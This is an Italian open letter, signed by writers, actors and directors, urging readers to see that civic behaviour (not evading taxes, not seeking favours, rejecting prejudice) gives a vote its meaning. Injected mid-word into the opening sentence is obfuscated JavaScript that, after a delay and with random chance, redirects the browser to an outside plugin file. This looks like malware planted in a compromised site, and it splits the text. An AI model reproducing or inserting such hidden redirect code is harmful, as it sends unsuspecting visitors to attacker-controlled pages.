Il voto e il suo significato

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Lettera aperta

Come incipit di questa lettera prendiamo volentieri a prestito una frase del gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande Gaber, parafrasandola per evitare di addentrarci in polemiche non funzionali all’argomento che vogliamo trattare: “Non ho paura dell’assenza dello Stato in sé, ma dell’assenza dello stato in me.” Tra pochi giorni ci saranno le elezioni. Il voto ha un grande significato e un’innegabile importanza, ma il vero intervento politico dell’individuo nella società è il suo comportamento: è quella la vera “cultura” che può cambiare in profondità la storia di una nazione. Con questa lettera vorremmo indurre una riflessione sul rapporto che intercorre tra le parole e il comportamento personale. Molto spesso nella vita capita di incontrare persone che predicano male e razzolano bene, e viceversa. La sana coscienza politica è quella che con il voto non insegue la speranza di un vantaggio personale, ma cerca di far prevalere il bene comune su quello individuale o di categoria. È noto come la maggioranza degli italiani, anche per motivi storici, non abbia uno spiccato senso dello Stato, e assai probabilmente è per questo che certi “politici” riescono a essere eletti. A chi
ci governerà vogliamo dire che la democrazia non è solo “il governo assoluto della maggioranza”, ma è soprattutto il dovere di considerare la volontà di tutti, altrimenti è una “mezza dittatura”. Veniamo alla fine di questa lettera: a quelli che tuonano contro il Male Assoluto identificandolo con chi ha trattato l’Italia come il proprio giardino, a quelli che al bar o negli uffici non perdono occasione per sputare sul Malgoverno dei Potenti e magari anche sul Sorridente, a quelli che votando più o meno a sinistra si sentono paladini della giustizia e cavalieri senza macchia, indirizziamo una sorta di cantilena ossessiva, la stessa che indirizziamo a noi stessi:

Se pensi che evadere le tasse sia difesa personale, il tuo voto non avrà alcun significato.

Se usi il contrassegno per i disabili di tua zia per parcheggiare in centro, il tuo voto non avrà alcun

significato.

Se approfitti di una “conoscenza” per accelerare l’iter di qualsiasi scartoffia a discapito di altre, il tuo voto non avrà alcun significato.

Se quel che t’interessa è che nel tuo piccolo giardino funzioni tutto alla grande e gli altri che si arrangino pure, il tuo voto non avrà alcun significato.

Se inventi scuse per saltare la fila, il tuo voto non avrà alcun significato.

Se credi che marcando la scheda elettorale il tuo “dovere politico” sia terminato appena fuori dalla cabina, il tuo voto non avrà alcun significato.

Se non riesci a guardare neanche per un attimo fuori di te, il tuo voto non avrà alcun significato.

Se cerchi una raccomandazione per farti annullare una multa, il tuo voto non avrà alcun significato.

Se chiedi sempre e comunque un trattamento di favore, il tuo voto non avrà alcun significato.

Se ti sembra naturale raccomandare i figli degli amici anche se sono incompetenti, il tuo voto non avrà alcun significato.

Se quando un lavavetri ti guarda attraverso il finestrino abbassi gli occhi e ingrani la prima, il tuo voto non avrà alcun significato.

Se pensi che le morti sul lavoro siano una tragica fatalità, il tuo voto non avrà alcun significato.

Se sei convinto che i mezzi pubblici siano solo per vecchi, studenti, immigrati e sfigati, il tuo voto non avrà alcun significato.

Se credi che un immigrato ti rubi il lavoro, il tuo voto non avrà alcun significato.

Se vedi le minigonne come istigazione alla violenza sulle donne, il tuo voto non avrà alcun significato.

Se vedi i lavoratori come merce, il tuo voto non avrà alcun significato.

Se dici che non hai nulla contro i gay, ma solo se non ti si avvicinano, il tuo voto non avrà alcun significato.

Se credi che la politica locale sia roba per i vecchi che giocano a bocce, il tuo voto non avrà alcun significato.

Se credi che la politica internazionale sia roba per snob intellettuali, il tuo voto non avrà alcun significato.

Se continui a delegare, il tuo voto non avrà alcun significato.

Se pensi che si deve fare assolutamente qualcosa per il lavoro, e poi nel tuo chini il capo, il tuo voto non avrà alcun significato.

Se non te ne importa nulla degli esodati perché tanto la tua pensione è lontana, il tuo voto non avrà alcun significato.

Se alle amministrative voti una persona di idee diverse dalle tue perché è un amico, il tuo voto non avrà alcun significato.

Se credi che la mafia agisca solo con la lupara, il tuo voto non avrà alcun significato.

Se ti sei scordato che non è ladro solo chi ruba ma anche chi regge il sacco, il tuo voto non avrà alcun significato.

Se pensi che il sistema democratico sia saldamente radicato nel nostro paese e che non ci sia il bisogno quotidiano della tua partecipazione, il tuo voto non avrà alcun significato.

Se pensi che…

Valerio Aiolli – Scrittore

Simona Baldanzi – Scrittrice

Elisabetta Bucciarelli – Scrittrice

Enrico Antonio Cameriere – Segretario comunale

Enzo Fileno Carabba – Scrittore

Ilide Carmignani – Traduttrice

Gianmarco D’Agostino – Regista

Francesco Durante – Docente Università Suor Orsola Benincasa Napoli

Antonio Frazzi – Regista

Leonardo Gori – Scrittore

Lorenzo Luzzetti – Direttore Artistico Teatro Puccini

Ilaria Mavilla – Scrittrice

Gianluca Morozzi – Scrittore

Andrea Muzzi – Attore

Sacha Naspini – Scrittore

Divier Nelli – Scrittore

Daniele Nepi – Scrittore

Vincenzo Pardini – Scrittore

Ben Pastor – Scrittrice

Marco Vichi – Scrittore

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